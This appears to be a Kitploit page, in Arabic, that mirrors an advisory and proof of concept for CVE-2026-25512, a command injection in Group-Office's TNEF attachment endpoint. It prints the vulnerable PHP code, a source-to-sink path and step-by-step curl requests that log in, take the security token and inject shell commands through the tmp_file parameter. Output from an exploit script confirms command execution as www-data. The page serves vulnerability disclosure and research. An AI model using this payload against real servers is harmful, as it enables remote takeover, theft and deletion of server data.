Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25512 — RCE - حقن الأوامر عبر معالج مرفقات TNEF | Kitploit
أدوات/GitHubGitHub/numberoreo1/cve-2026-25512
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubnumberoreo1/cve-2026-25512

CVE-2026-25512

RCE - حقن الأوامر عبر معالج مرفقات TNEF

عرض المستودع
4منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-25512: تنفيذ التعليمات البرمجية عن بُعد عبر حقن الأوامر في معالج TNEF - Group-Office

CVE-2026-25512 Critical CVSS 9.4

CWE-78

متجه CVSS 4.0 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

جدول المحتويات

  • الملخص
  • الإصدارات المتأثرة
  • التفاصيل الفنية
    • السبب الجذري
    • مسار من المصدر إلى نقطة الاستغلال
  • الاستغلال
    • الاستغلال الآلي
    • الاستغلال اليدوي
  • الأثر
  • الخط الزمني
  • الاعتمادات
  • المراجع

الملخص

تم تحديد ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة في Group-Office. تقوم نقطة النهاية email/message/tnefAttachmentFromTempFile بتسلسل المعامل tmp_file الذي يتحكم فيه المستخدم مباشرةً في استدعاء exec(). من خلال حقن رموز شل الفوقية في tmp_file، يمكن لمهاجم مصادق تنفيذ أوامر نظام عشوائية على الخادم.


الإصدارات المتأثرة

ProductAffected Versions
Group-Office≤ 26.0.4

التفاصيل الفنية

السبب الجذري

يُؤخذ معامل tmp_file من طلب HTTP ويُستخدم لبناء أمر شل بدون تهريب أو تحقق. وينتج عن ذلك حقن أوامر في أمر استخراج tnef، الذي يعمل بصلاحيات خادم الويب.

الكود المستضعف (www/modules/email/controller/MessageController.php):

protected function actionTnefAttachmentFromTempFile(array $params)
{
    $tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
    $tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);

    chdir($tmpFolder->path());
    exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
    if($retVar!=0)
        throw new \Exception("TNEF extraction failed: ".implode("\n", $output));

    exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
    if($retVar!=0)
        throw new \Exception("ZIP compression failed: ".implode("\n", $output));

    $zipFile = $tmpFolder->child('winmail.zip');
    \GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
    $zipFile->output();

    $tmpFolder->delete();
}

مسار من المصدر إلى نقطة الاستغلال

StageDescription
Sourcetmp_file query parameter in index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=...
Propagationnew \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file'])
Sinkexec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...)

نظرًا لأن tmp_file يُسلسل في أمر الشل، فإن الرموز الفوقية مثل ; أو & أو علامات الاقتباس الخلفية أو $() تسمح للمهاجم بإلحاق أوامر عشوائية.

متطلب المصادقة: نعم. يفرض MessageController فحص CSRF عبر security_token، لذا يلزم وجود جلسة صالحة + رمز.


الاستغلال

الاستغلال الآلي

يسجّل سكربت PoC الدخول، ويسترد security_token، ويحقن حمولة عبر tmp_file، ويتحقق من التنفيذ بقراءة rce.txt من استجابة ZIP.

python3 poc.py

مثال على الإخراج:

➜  ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

الاستغلال اليدوي

الخطوة 1: تسجيل الدخول

curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
    --data-urlencode "r=core/auth/login" \
    --data-urlencode "username=YOUR_USERNAME" \
    --data-urlencode "password=YOUR_PASSWORD" \
    -H "X-Requested-With: XMLHttpRequest"

الاستجابة:

{
  "success": true,
  "groupoffice_version": "26.0.4",
  "user_id": 2,
  "security_token": "XXXXXXX",
  "sid": "XXXXXXXXXXX"
}

الخطوة 2: تشغيل RCE

curl -G "http://TARGET:PORT/index.php" \
    -b cookies.txt \
    --data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
    --data-urlencode "security_token=YOUR_TOKEN" \
    --data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
    -o command_output.zip

النتيجة:

➜  unzip command_output.zip
Archive:  command_output.zip
  inflating: rce.txt

➜  cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)

الأثر

CategorySeverityDescription
السريةعاليةتنفيذ الأوامر العشوائي يسمح بقراءة الملفات الحساسة.
السلامةعاليةيمكن للمهاجم تعديل أو حذف ملفات الخادم.
التوافرعاليةيمكن للمهاجم تعطيل الخدمات أو حذف بيانات حرجة.

الاعتمادات

  • اكتشفها: Oreo

المراجع

  • الموقع الرسمي لـ Group-Office
  • MITRE CVE-2026-25512
تنزيل الأداة